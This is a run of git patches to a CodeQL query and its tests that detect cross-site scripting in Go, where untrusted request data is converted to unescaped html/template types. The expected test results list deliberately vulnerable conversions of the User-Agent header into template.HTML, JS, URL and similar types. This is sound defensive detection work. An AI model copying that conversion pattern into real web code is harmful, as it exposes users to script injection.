| call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:1 Config | models -| 1 | Source: net/http; Request; true; Form; ; ; ; remote; manual | -| 2 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | -| 3 | Summary: html/template; ; false; HTMLEscapeString; ; ; Argument[0]; ReturnValue; taint; manual | -| 4 | Summary: net/url; Values; true; Get; ; ; Argument[receiver]; ReturnValue; taint; manual | +| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | nodes | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | semmle.label | type conversion | | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | semmle.label | call to UserAgent | @@ -69,17 +57,4 @@ nodes | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | semmle.label | type conversion | | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | semmle.label | call to UserAgent | | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | semmle.label | g | -| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | semmle.label | escaped | -| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | semmle.label | src | -| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | semmle.label | call to HTMLEscapeString | -| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | semmle.label | src | -| HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | semmle.label | converted | -| ReflectedXssGood.go:15:15:15:20 | selection of Form | semmle.label | selection of Form | -| ReflectedXssGood.go:15:15:15:36 | call to Get | semmle.label | call to Get | -| ReflectedXssGood.go:20:24:20:31 | username | semmle.label | username | -| ReflectedXssGood.go:21:40:21:47 | username | semmle.label | username | subpaths From cbdbb0310b91d885a9ebfd711679877b70013658 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 16:15:19 +0100 Subject: [PATCH 08/36] Tidy up test (remove duplicated `main`) --- .../HTMLTemplateEscapingPassthrough.expected | 108 +++++++++--------- .../HTMLTemplateEscapingPassthrough.go | 2 - 2 files changed, 54 insertions(+), 56 deletions(-) diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected index 7da7560567f..feb98b69d5e 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected @@ -1,60 +1,60 @@ #select -| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | untrusted source | edges -| HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | provenance | | -| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | provenance | | -| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | provenance | | -| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | provenance | | -| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | provenance | | -| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | provenance | | -| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | provenance | | +| HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | provenance | | +| HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | provenance | | +| HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | provenance | | +| HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | provenance | | +| HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | provenance | | +| HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | provenance | | +| HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | provenance | | +| HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | provenance | | +| HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | provenance | Src:MaD:1 Config | models | 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | nodes -| HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | semmle.label | c | -| HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | semmle.label | d | -| HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | semmle.label | e | -| HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | semmle.label | b | -| HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | semmle.label | f | -| HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | semmle.label | g | subpaths diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go index 50e318d956a..5ff36d0a8bc 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go @@ -7,8 +7,6 @@ import ( "strconv" ) -func main() {} - func checkError(err error) { if err != nil { panic(err) From b90aba291efd396c222b8d0b2496cfcdb51b876c Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 16:30:16 +0100 Subject: [PATCH 09/36] Refactor class for unescaped types --- .../HTMLTemplateEscapingPassthrough.ql | 33 ++++++++++--------- 1 file changed, 17 insertions(+), 16 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index 9a73ebe159b..bfb9194ede7 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -14,11 +14,13 @@ import go /** - * A name of a type that will not be escaped when passed to - * a `html/template` template. + * A type that will not be escaped when passed to a `html/template` template. */ -class PassthroughTypeName extends string { - PassthroughTypeName() { this = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"] } +class UnescapedType extends Type { + UnescapedType() { + this.hasQualifiedName("html/template", + ["CSS", "HTML", "HTMLAttr", "JS", "JSStr", "Srcset", "URL"]) + } } /** @@ -42,7 +44,7 @@ predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateConfigSig { private newtype TConversionState = TUnconverted() or - TConverted(PassthroughTypeName x) + TConverted(UnescapedType unescapedType) /** * Flow state for tracking whether a conversion to a passthrough type has occurred. @@ -50,14 +52,14 @@ module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateCon class FlowState extends TConversionState { predicate isBeforeConversion() { this instanceof TUnconverted } - predicate isAfterConversion(PassthroughTypeName x) { this = TConverted(x) } + predicate isAfterConversion(UnescapedType unescapedType) { this = TConverted(unescapedType) } /** Gets a textual representation of this element. */ string toString() { this.isBeforeConversion() and result = "Unconverted" or - exists(PassthroughTypeName x | this.isAfterConversion(x) | - result = "Converted to template." + x + exists(UnescapedType unescapedType | this.isAfterConversion(unescapedType) | + result = "Converted to " + unescapedType.getQualifiedName() ) } } @@ -82,13 +84,13 @@ module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateCon predicate isAdditionalFlowStep( DataFlow::Node pred, FlowState predState, DataFlow::Node succ, FlowState succState ) { - exists(ConversionExpr conversion, PassthroughTypeName name | + exists(ConversionExpr conversion, UnescapedType unescapedType | // If not yet converted, look for a conversion to a passthrough type predState.isBeforeConversion() and - succState.isAfterConversion(name) and + succState.isAfterConversion(unescapedType) and succ.(DataFlow::TypeCastNode).getExpr() = conversion and pred.asExpr() = conversion.getOperand() and - conversion.getType().getUnderlyingType*().hasQualifiedName("html/template", name) + conversion.getType().getUnderlyingType*() = unescapedType ) } } @@ -100,11 +102,10 @@ import UntrustedToTemplateExecWithConversionFlow::PathGraph from UntrustedToTemplateExecWithConversionFlow::PathNode untrustedSource, - UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, - PassthroughTypeName targetTypeName + UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, UnescapedType unescapedType where UntrustedToTemplateExecWithConversionFlow::flowPath(untrustedSource, templateExecCall) and - templateExecCall.getState().isAfterConversion(targetTypeName) + templateExecCall.getState().isAfterConversion(unescapedType) select templateExecCall.getNode(), untrustedSource, templateExecCall, - "Data from an $@ will not be auto-escaped because it was converted to template." + targetTypeName, - untrustedSource.getNode(), "untrusted source" + "Data from an $@ will not be auto-escaped because it was converted to template." + + unescapedType.getName(), untrustedSource.getNode(), "untrusted source" From 7f007e10c4613eb9227c4842df6f3d8ef1040b3e Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 16:30:36 +0100 Subject: [PATCH 10/36] Minor refactor - removed unused argument --- .../src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index bfb9194ede7..25fad3c374a 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -26,8 +26,8 @@ class UnescapedType extends Type { /** * Holds if the sink is a data value argument of a template execution call. */ -predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { - exists(Method fn, string methodName | +predicate isSinkToTemplateExec(DataFlow::Node sink) { + exists(Method fn, string methodName, DataFlow::CallNode call | fn.hasQualifiedName("html/template", "Template", methodName) and call = fn.getACall() | @@ -69,7 +69,7 @@ module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateCon } predicate isSink(DataFlow::Node sink, FlowState state) { - state.isAfterConversion(_) and isSinkToTemplateExec(sink, _) + state.isAfterConversion(_) and isSinkToTemplateExec(sink) } predicate isBarrier(DataFlow::Node node) { From 3cce4ba4370388ac30a73a0e7aa00282b0bef9f5 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 16:40:21 +0100 Subject: [PATCH 11/36] Improve QLDocs --- .../src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index 25fad3c374a..e8a4202a98f 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -38,8 +38,8 @@ predicate isSinkToTemplateExec(DataFlow::Node sink) { } /** - * Data flow configuration that tracks flows from untrusted sources (A) to template execution calls (C), - * and tracks whether a conversion to a passthrough type (B) has occurred. + * Data flow configuration that tracks flows from untrusted sources to template execution calls + * which go through a conversion to an unescaped type. */ module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateConfigSig { private newtype TConversionState = @@ -47,7 +47,7 @@ module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateCon TConverted(UnescapedType unescapedType) /** - * Flow state for tracking whether a conversion to a passthrough type has occurred. + * Flow state for tracking whether a conversion to an unescaped type has occurred. */ class FlowState extends TConversionState { predicate isBeforeConversion() { this instanceof TUnconverted } From cba0bec3c6f6cf8966c0fa07be7bb5c60c90f969 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 25 Apr 2025 09:56:28 +0100 Subject: [PATCH 12/36] Rename files --- ...lp => HtmlTemplateEscapingBypassXss.qhelp} | 4 +- ...gh.ql => HtmlTemplateEscapingBypassXss.ql} | 0 ...go => HtmlTemplateEscapingBypassXssBad.go} | 0 ...o => HtmlTemplateEscapingBypassXssGood.go} | 0 .../HTMLTemplateEscapingPassthrough.expected | 60 ------------------- .../HtmlTemplateEscapingBypassXss.expected | 60 +++++++++++++++++++ ...gh.go => HtmlTemplateEscapingBypassXss.go} | 0 ...ef => HtmlTemplateEscapingBypassXss.qlref} | 2 +- 8 files changed, 63 insertions(+), 63 deletions(-) rename go/ql/src/Security/CWE-079/{HTMLTemplateEscapingPassthrough.qhelp => HtmlTemplateEscapingBypassXss.qhelp} (88%) rename go/ql/src/Security/CWE-079/{HTMLTemplateEscapingPassthrough.ql => HtmlTemplateEscapingBypassXss.ql} (100%) rename go/ql/src/Security/CWE-079/{HTMLTemplateEscapingPassthroughBad.go => HtmlTemplateEscapingBypassXssBad.go} (100%) rename go/ql/src/Security/CWE-079/{HTMLTemplateEscapingPassthroughGood.go => HtmlTemplateEscapingBypassXssGood.go} (100%) delete mode 100644 go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected create mode 100644 go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected rename go/ql/test/query-tests/Security/CWE-079/{HTMLTemplateEscapingPassthrough.go => HtmlTemplateEscapingBypassXss.go} (100%) rename go/ql/test/query-tests/Security/CWE-079/{HTMLTemplateEscapingPassthrough.qlref => HtmlTemplateEscapingBypassXss.qlref} (61%) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.qhelp b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp similarity index 88% rename from go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.qhelp rename to go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp index a842a685f23..50659b0ba3e 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.qhelp +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp @@ -19,10 +19,10 @@

In the first example you can see the special types and how they are used in a template:

- +

To avoid XSS, all user input should be a normal string type.

